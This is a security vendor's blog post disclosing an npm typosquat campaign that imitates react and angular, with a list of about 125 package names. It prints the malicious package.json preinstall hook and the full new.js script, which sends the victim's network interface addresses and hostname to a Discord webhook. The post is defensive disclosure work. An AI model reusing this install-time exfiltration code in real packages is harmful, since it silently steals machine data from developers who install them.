Large Typosquat Campaign Targeting React and Angular

Note: Veracode acquired Phylum in January 2025, after this blog was published, and it has been migrated to Veracode’s blog.

Phylum is tracking a large typosquat campaign targeting the npm ecosystem. A user is currently publishing many typosquat packages masquerading as react and angular. As of this writing, 125 packages have been released in what appears to be an ongoing campaign. We are reporting these packages as we encounter them and have reported the Discord webhook for removal.

Technical Details

Inspecting the package.json we find a preinstall hook that initiates execution:

{
  "name": "zngularjs",
  "version": "1.1.2",
  "description": "Research project",
  "main": "index.js",
  "scripts": {
    "test": "echo \\"Error: no test specified\\" && exit 1",
    "preinstall": "node new.js"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/serialfuzzer/AngulerJS.git"
  },
  "keywords": [
    "dependency_confusion"
  ],
  "author": "serialfuzzer",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/serialfuzzer/AngulerJS/issues"
  },
  "homepage": "https://github.com/serialfuzzer/AngulerJS#readme"
}

Inside the new.js we find the following (formatted for readability):

function sendToDiscord(e, t) {
    const o = new URL(e),
        n = JSON.stringify({
            content: t
        }),
        s = {
            hostname: o.hostname,
            port: 443,
            path: o.pathname + o.search,
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "Content-Length": n.length
            }
        },
        r = https.request(s, e => {});
    r.on("error", e => {
        console.error(e)
    }), r.write(n), r.end()
}
const https = require("https"),
    os = require("os"),
    main = ! function() {
        var e = "https://discord.com/api/webhooks/1155988140591419412/bleuGvUtBCzaGsAkAI1MT9Yd-6YxHuUlZe91XSdfioky5-0e3gzeW4ztWskX1qYjSxzr";
        const t = Object.keys(os.networkInterfaces()).map(e => os.networkInterfaces()[e][0].address).join(",").concat(", " + os.hostname());
        return sendToDiscord(e, t), {}
    }();
module.exports = main;

This is a fairly rudimentary attempt at data exfiltration that sends information about network interfaces to a remote Discord channel. We’ve reported the Discord webhook and have ensured that it has been disabled. Any existing packages will now be unable to communicate with the package author.

A Research Project?

As with most of these campaigns, it’s difficult to determine intent. Is this part of a misguided research project? A malicious campaign masquerading as a bug bounty attempt? It’s hard to say. Even in cases where we’d be inclined to give the author the benefit of the doubt, we’ve seen subsequent packages become clearly malicious before.

In this case, the package.json makes a reference to a GitHub repository. Since this field is entirely user-provided, we’ve reached out to the GitHub user to determine whether they are affiliated with this campaign and to hopefully determine intent.

The GitHub repository referenced from the package.json

The author responded to our inquiry about the nature of these packages. According to them, these packages are to “find out if any of the bug bounty programs I’m participating in gets affected by one of the packages so that I could be the first one to notify them and protect their infrastructure.” and “Find out how many people make mistakes such as this.” They note that only machine information is collected. Readers should note that in the best case, this is in violation of the npm Acceptable Use Policy, and these sorts of campaigns put a strain on individuals tasked with keeping these ecosystems clean.

Towards More Secure npm Development

One of the more disconcerting facts about modern software development is the fact that so much of it involves relying on and executing code written by unknown users from the internet. To address this, Phylum has open-sourced its sandbox 

 Star184 that locks down network, disk and environment resources. This sandbox is built into our (also open sourced) CLI

 Star103 so that users can run things like:

phylum npm install <pkgName>

Below is the actual behavior of the sandbox on one of the packages from the above campaign. When the package attempts to reach out to the Discord webhook, the installation process is aborted. Please note that we had to pull the tar.gz from our file storage, as the package in question had already been removed by npm. In a real scenario, this package would’ve been blocked by the Phylum package pre-check before it even had a chance to run in the sandbox!

Typosquats remain a popular distribution technique for malware. This is one of the larger typosquat activities we’ve seen this year and should serve as a constant reminder that actors continue to publish malicious packages into our open-source package repositories.

The Packages

Given the speed that these packages were published, it seems likely that publications are automated. It is not entirely clear how some of these packages names were generated, as many have edit distances far away from the actual angular and react package names. It seems reasonable the edits are also automated, resulting in some non-human like “typos”.

NameVersionCreated
anoularjs1.1.2Tue, 26 Sep 2023 03:04:26 GMT
angslarjs1.1.2Tue, 26 Sep 2023 03:04:25 GMT
ankularjs1.1.2Tue, 26 Sep 2023 03:04:24 GMT
anxularjs1.1.2Tue, 26 Sep 2023 03:04:22 GMT
angnlarjs1.1.2Tue, 26 Sep 2023 03:04:22 GMT
angglarjs1.1.2Tue, 26 Sep 2023 03:04:19 GMT
anzularjs1.1.2Tue, 26 Sep 2023 03:04:17 GMT
angtlarjs1.1.2Tue, 26 Sep 2023 03:04:17 GMT
aniularjs1.1.2Tue, 26 Sep 2023 03:04:16 GMT
anbularjs1.1.2Tue, 26 Sep 2023 03:04:15 GMT
anyularjs1.1.2Tue, 26 Sep 2023 03:04:14 GMT
angblarjs1.1.2Tue, 26 Sep 2023 03:04:13 GMT
annularjs1.1.2Tue, 26 Sep 2023 03:04:12 GMT
angmlarjs1.1.2Tue, 26 Sep 2023 03:04:09 GMT
angelarjs1.1.2Tue, 26 Sep 2023 03:04:08 GMT
anmularjs1.1.2Tue, 26 Sep 2023 03:04:07 GMT
angalarjs1.1.2Tue, 26 Sep 2023 03:04:07 GMT
anwularjs1.1.2Tue, 26 Sep 2023 03:04:05 GMT
anghlarjs1.1.2Tue, 26 Sep 2023 03:04:04 GMT
anlularjs1.1.2Tue, 26 Sep 2023 03:04:03 GMT
anrularjs1.1.2Tue, 26 Sep 2023 03:04:01 GMT
angrlarjs1.1.2Tue, 26 Sep 2023 03:03:56 GMT
angilarjs1.1.2Tue, 26 Sep 2023 03:03:56 GMT
andularjs1.1.2Tue, 26 Sep 2023 03:03:54 GMT
angflarjs1.1.2Tue, 26 Sep 2023 03:03:53 GMT
angclarjs1.1.2Tue, 26 Sep 2023 03:03:52 GMT
angjlarjs1.1.2Tue, 26 Sep 2023 03:03:51 GMT
anuularjs1.1.2Tue, 26 Sep 2023 03:03:49 GMT
angdlarjs1.1.2Tue, 26 Sep 2023 03:03:48 GMT
angolarjs1.1.2Tue, 26 Sep 2023 03:03:46 GMT
angllarjs1.1.2Tue, 26 Sep 2023 03:03:46 GMT
anpularjs1.1.2Tue, 26 Sep 2023 03:03:45 GMT
ansularjs1.1.2Tue, 26 Sep 2023 03:03:44 GMT
angplarjs1.1.2Tue, 26 Sep 2023 03:03:43 GMT
angklarjs1.1.2Tue, 26 Sep 2023 03:03:42 GMT
anvularjs1.1.2Tue, 26 Sep 2023 03:03:40 GMT
antularjs1.1.2Tue, 26 Sep 2023 03:03:39 GMT
bngularjs1.1.2Tue, 26 Sep 2023 02:36:23 GMT
aggularjs1.1.2Tue, 26 Sep 2023 02:36:21 GMT
reacltjs1.1.2Tue, 26 Sep 2023 02:36:20 GMT
acgularjs1.1.2Tue, 26 Sep 2023 02:36:18 GMT
reacbtjs1.1.2Tue, 26 Sep 2023 02:36:15 GMT
rejactjs1.1.2Tue, 26 Sep 2023 02:36:13 GMT
akgularjs1.1.2Tue, 26 Sep 2023 02:36:11 GMT
ahgularjs1.1.2Tue, 26 Sep 2023 02:36:09 GMT
reanctjs1.1.2Tue, 26 Sep 2023 02:36:08 GMT
bangularjs1.1.2Tue, 26 Sep 2023 02:36:06 GMT
reacttjs1.1.2Tue, 26 Sep 2023 02:36:04 GMT
reoactjs1.1.2Tue, 26 Sep 2023 02:36:02 GMT
reawctjs1.1.2Tue, 26 Sep 2023 02:36:00 GMT
doemailer1.1.2Tue, 26 Sep 2023 02:35:59 GMT
reacutjs1.1.2Tue, 26 Sep 2023 02:35:57 GMT
reacmtjs1.1.2Tue, 26 Sep 2023 02:35:55 GMT
algularjs1.1.2Tue, 26 Sep 2023 02:35:53 GMT
dangularjs1.1.2Tue, 26 Sep 2023 02:35:51 GMT
dngularjs1.1.2Tue, 26 Sep 2023 02:35:49 GMT
hngularjs1.1.2Tue, 26 Sep 2023 02:35:46 GMT
reacitjs1.1.2Tue, 26 Sep 2023 02:35:44 GMT
zhunkr1.1.2Tue, 26 Sep 2023 02:35:43 GMT
augularjs1.1.2Tue, 26 Sep 2023 02:35:41 GMT
reazctjs1.1.2Tue, 26 Sep 2023 02:35:39 GMT
reacatjs1.1.2Tue, 26 Sep 2023 02:35:37 GMT
azgularjs1.1.2Tue, 26 Sep 2023 02:35:36 GMT
reapctjs1.1.2Tue, 26 Sep 2023 02:35:34 GMT
rekactjs1.1.2Tue, 26 Sep 2023 02:35:32 GMT
avgularjs1.1.2Tue, 26 Sep 2023 02:35:31 GMT
cangularjs1.1.2Tue, 26 Sep 2023 02:35:29 GMT
jngularjs1.1.2Tue, 26 Sep 2023 02:35:28 GMT
reacctjs1.1.2Tue, 26 Sep 2023 02:35:25 GMT
vngularjs1.1.2Tue, 26 Sep 2023 02:35:24 GMT
renactjs1.1.2Tue, 26 Sep 2023 02:35:22 GMT
reqactjs1.1.2Tue, 26 Sep 2023 02:35:20 GMT
reacntjs1.1.2Tue, 26 Sep 2023 02:35:17 GMT
ungularjs1.1.2Tue, 26 Sep 2023 02:35:15 GMT
autoprifixir1.1.2Tue, 26 Sep 2023 02:35:13 GMT
aygularjs1.1.2Tue, 26 Sep 2023 02:35:11 GMT
sngularjs1.1.2Tue, 26 Sep 2023 02:35:09 GMT
reacdtjs1.1.2Tue, 26 Sep 2023 02:35:08 GMT
pngularjs1.1.2Tue, 26 Sep 2023 02:35:06 GMT
reacftjs1.1.2Tue, 26 Sep 2023 02:35:04 GMT
anaularjs1.1.2Tue, 26 Sep 2023 02:35:02 GMT
adgularjs1.1.2Tue, 26 Sep 2023 02:35:00 GMT
gngularjs1.1.2Tue, 26 Sep 2023 02:34:58 GMT
aagularjs1.1.2Tue, 26 Sep 2023 02:34:55 GMT
refactjs1.1.2Tue, 26 Sep 2023 02:34:54 GMT
redactjs1.1.2Tue, 26 Sep 2023 02:34:53 GMT
reacgtjs1.1.2Tue, 26 Sep 2023 02:34:53 GMT
asgularjs1.1.2Tue, 26 Sep 2023 02:34:53 GMT
realctjs1.1.2Tue, 26 Sep 2023 02:34:53 GMT
nngularjs1.1.2Tue, 26 Sep 2023 02:34:53 GMT
recactjs1.1.2Tue, 26 Sep 2023 02:34:53 GMT
relactjs1.1.2Tue, 26 Sep 2023 02:34:53 GMT
dodemailar1.1.2Tue, 26 Sep 2023 02:34:53 GMT
reractjs1.1.2Tue, 26 Sep 2023 02:34:53 GMT
reacqtjs1.1.2Tue, 26 Sep 2023 02:34:53 GMT
reacstjs1.1.2Tue, 26 Sep 2023 02:34:53 GMT
reaectjs1.1.2Tue, 26 Sep 2023 02:34:53 GMT
reacotjs1.1.2Tue, 26 Sep 2023 02:34:53 GMT
reacwtjs1.1.2Tue, 26 Sep 2023 02:34:53 GMT
reyactjs1.1.2Tue, 26 Sep 2023 02:34:52 GMT
rexactjs1.1.2Tue, 26 Sep 2023 02:34:52 GMT
anfularjs1.1.2Tue, 26 Sep 2023 02:34:52 GMT
awgularjs1.1.2Tue, 26 Sep 2023 02:34:51 GMT
reaoctjs1.1.2Tue, 26 Sep 2023 02:34:51 GMT
repactjs1.1.2Tue, 26 Sep 2023 02:34:51 GMT
readctjs1.1.2Tue, 26 Sep 2023 02:34:51 GMT
aegularjs1.1.2Tue, 26 Sep 2023 02:34:51 GMT
ancularjs1.1.2Tue, 26 Sep 2023 02:34:51 GMT
reajctjs1.1.2Tue, 26 Sep 2023 02:34:51 GMT
reahctjs1.1.2Tue, 26 Sep 2023 02:34:51 GMT
afgularjs1.1.2Tue, 26 Sep 2023 02:34:51 GMT
anhularjs1.1.2Tue, 26 Sep 2023 02:34:51 GMT
reaqctjs1.1.2Tue, 26 Sep 2023 02:34:51 GMT
apgularjs1.1.2Tue, 26 Sep 2023 02:34:51 GMT
cngularjs1.1.2Tue, 26 Sep 2023 02:34:51 GMT
lngularjs1.1.2Tue, 26 Sep 2023 02:34:51 GMT
kngularjs1.1.2Tue, 26 Sep 2023 02:34:51 GMT
argularjs1.1.2Tue, 26 Sep 2023 02:34:51 GMT
reakctjs1.1.2Tue, 26 Sep 2023 02:34:50 GMT
tngularjs1.1.2Tue, 26 Sep 2023 02:34:50 GMT
reagctjs1.1.2Tue, 26 Sep 2023 02:34:50 GMT
reacztjs1.1.2Tue, 26 Sep 2023 02:34:50 GMT
reasctjs1.1.2Tue, 26 Sep 2023 02:34:50 GMT
reacjtjs1.1.2Tue, 26 Sep 2023 02:34:50 GMT
reaxctjs1.1.2Tue, 26 Sep 2023 02:34:50 GMT